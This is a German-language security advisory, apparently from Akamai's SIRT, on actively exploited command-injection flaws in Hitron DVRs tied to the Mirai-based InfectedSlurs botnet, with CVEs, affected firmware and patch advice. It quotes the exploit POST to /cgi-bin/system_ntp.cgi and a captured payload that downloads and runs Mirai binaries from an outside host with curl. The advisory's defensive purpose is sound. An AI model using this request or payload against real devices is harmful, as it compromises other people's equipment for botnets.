Aktiv ausgenutzte Schwachstelle in DVRs von Hitron: Behoben, Patches verfügbar
Zusammenfassung
Das Security Intelligence Response Team (SIRT) von Akamai hat ein zusätzliches Update zur InfectedSlurs-Kampagne veröffentlicht, da einer der betroffenen Anbieter Patches und Empfehlungen veröffentlicht hat.
Die Sicherheitslücke in Hitron-Geräten wurde im freien Internet identifiziert und erhielt die folgenden CVE-IDs:
CVE-2024-22768 – ein CVSS v3.1-Basiswert von 7,4 wurde berechnet; die CVSS-Vektorzeichenfolge ist (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22769 – ein CVSS v3.1-Basiswert von 7,4 wurde berechnet; die CVSS-Vektorzeichenfolge ist (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22770 – ein CVSS v3.1-Basiswert von 7,4 wurde berechnet; die CVSS-Vektorzeichenfolge ist (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22771 – ein CVSS v3.1-Basiswert von 7,4 wurde berechnet; die CVSS-Vektorzeichenfolge ist (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22772 – ein CVSS v3.1-Basiswert von 7,4 wurde berechnet; die CVSS-Vektorzeichenfolge ist (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-23842 – ein CVSS v3.1-Basiswert von 7,4 wurde berechnet; die CVSS-Vektorzeichenfolge ist (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
Die im freien Internet erfassten bösartigen Payloads installieren eine Mirai-basierte Malware, um ein DDoS-Botnet (Distributed Denial of Service) zu erstellen.
Wir haben im ursprünglichen Beitrag eine umfangreiche Liste mit Indicators of Compromise (IOCs), Snort-Regeln und YARA-Regeln zur Identifizierung dieser Exploit-Versuche im freien Internet sowie zur Aufdeckung möglicher aktiver Infektionen in geschützten Netzwerken bereitgestellt.
Was Sie wissen müssen
Im Rahmen der Entdeckung von InfectedSlurs hat das Akamai SIRT Sicherheitslücken in mehreren Hitron-DVR-Modellen festgestellt, die aktiv im freien Internet ausgenutzt werden. Hitron-Geräte werden in Südkorea von Hitron Systems hergestellt.
Die Sicherheitslücke ermöglicht es einem authentifizierten Angreifer, eine OS-Befehlsinjektion mit einer Payload zu erreichen, die über eine POST-Anfrage an die Verwaltungsschnittstelle gesendet wird. In seiner aktuellen Konfiguration setzt sie auf die Standardanmeldeinformationen des Geräts in den erfassten Payloads.
Die betroffenen Geräte- und Firmware-Versionen sind:
DVR HVR-4781: Versionen 1.03 bis 4.02
DVR HVR-8781: Versionen 1.03 bis 4.02
DVR HVR-16781: Versionen 1.03 bis 4.02
DVR LGUVR-4H: Versionen 1.02 bis 4.02
DVR LGUVR-8H: Versionen 1.02 bis 4.02
DVR LGUVR-16H: Versionen 1.02 bis 4.02
Der Anbieter (Hitron Systems) hat neue Firmware-Versionen veröffentlicht, um die Sicherheitslücken zu beheben. Der Anbieter schlägt vor, für alle betroffenen Modelle so bald wie möglich ein Update auf Firmware-Version ≥ 4.03 vorzunehmen. Empfehlungen dazu wurden auch von veröffentlicht von CISA und KISA. KISA hat auch Empfehlungen zu den einzelnen CVEs veröffentlicht, die unter den folgenden Links zu finden sind:
Beobachteter Exploit
Ende Oktober 2023 bemerkten die SIRT-Analysten von Akamai einen Anstieg der Aktivität unserer Honeypots, die auf einen selten ausgenutzten TCP-Port abzielten. Die Versuche waren von niedriger Frequenz und schienen zuerst eine Authentifizierung zu versuchen – und das über eine POST-Anfrage an /cgi-bin/system_ntp.cgi (Abbildung 1) gefolgt von einem Command-Injection-Exploitversuch (Abbildung 2). Bei den betroffenen Geräten handelt es sich um DVR-Geräte von Hitron Systems, die durch Command Injection für RCE anfällig sind (Abbildung 3). Nach der Authentifizierung zielt der Angreifer auf die Command-Injection-Schwachstelle im Parameter timeserver. Dies geschieht über eine POST-Anfrage an /cgi-bin/system_ntp.cgi.
URL: /cgi-bin/system_ntp.cgi
POST BODY:
enc=11&ip=[targeted IP]&username=[REDACTED]&password=[REDACTED]
Abb. 1: Authentifizierungsversuch
URL: /cgi-bin/system_ntp.cgi
POST BODY:
lang=ja&useNTPServer=1&synccheck=1&public=0×erver=[RCE
PAYLOAD]&interval=60&enableNTPServer=1
Abb. 2: Exploit-Versuch
curl+http://45.142.182.96/spl/mips+-O;+chmod+777+mips;+./mips+kdvr;curl+http://45.142.182.96/spl/x86+-O;+chmod+777+x86;+./x86+kdvr;curl+http://45.142.182.96/spl/mpsl+-O;+chmod+777+mpsl;+./mpsl+kdvr;curl+http://45.142.182.96/spl/arm+-O;+chmod+777+arm;+./arm+kdvr;curl+http://45.142.182.96/spl/arm5+-O;+chmod+777+arm5;+./arm5+kdvr;curl+http://45.142.182.96/spl/arm6+-O;+chmod+777+arm6;+./arm6+kdvr;curl+http/45.142.182.96/spl/arm7+-O;+chmod+777+arm7;+./arm7+kdvr
Abb. 3: Erfasste RCE-Payload
Schutz
Hitron-DVR-Nutzer, die Geräte ausführen, die von dieser Sicherheitsanfälligkeit betroffen sind, sollten sofort auf die neuesten verfügbaren Firmware-Versionen (≥ 4.03) aktualisieren, mit denen die RCE-Sicherheitslücke behoben wird.
HVR-4781: Version 4.03
HVR-8781: Version 4.03
HVR-16781: Version 4.03
LGUVR-4H: Version 4.03
LGUVR-8H: Version 4.03
LGUVR-16H: Version 4.03
Außerdem sollten zum Schutz vor diesen und künftigen Bedrohungen mehrere Sicherheitsmaßnahmen ergriffen werden. Erstens sollten Unternehmen und Einzelpersonen, die die betroffenen Geräte verwenden, die standardmäßigen Anmeldeinformationen sofort ändern, um die Sicherheit zu erhöhen. Durch die regelmäßige Überwachung des Netzwerktraffics und der Protokolle können verdächtige Aktivitäten frühzeitig erkannt werden. Die rechtzeitige Installation von Sicherheitspatches und -Updates vom Gerätehersteller ist entscheidend, um die erkannte Sicherheitslücke zu beheben.
Die Zusammenarbeit mit Sicherheitsforschern, Anbietern von Threat Intelligence und Branchenkollegen hilft Ihnen, über neue Bedrohungen und Schwachstellen auf dem Laufenden zu bleiben. Schließlich sollten Sie eine aktualisierte Bestandsaufnahme der angeschlossenen Geräte pflegen und die Implementierung einer Netzwerksegmentierung kann die potenziellen Auswirkungen solcher Angriffe begrenzen.
Fazit
Um die in den Hitron-Systemen und den zugehörigen Geräten identifizierten Sicherheitsprobleme zu lösen, ist ein vielseitiger Ansatz erforderlich, der Nutzerbewusstsein, sofortiges Patchen, proaktive Überwachung und Zusammenarbeit innerhalb der Cybersicherheits-Community kombiniert. Durch diese Maßnahmen können Unternehmen und Einzelpersonen die Risiken der beobachteten Schadaktivitäten erheblich reduzieren.
Wir halten Sie auf dem Laufenden
Um mit Bedrohungen und anderen Erkenntnissen des SIRT und anderer Sicherheitsforschungsgruppen von Akamai Schritt zu halten, folgen Sie uns auf X (ehemals Twitter) oder besuchen Sie unseren SIG-Hub.
Das Akamai SIRT dankt den Mitarbeitern von CISA, US-CERT und KISA für ihre Unterstützung bei der Meldung dieser Schwachstellen an die Anbieter.
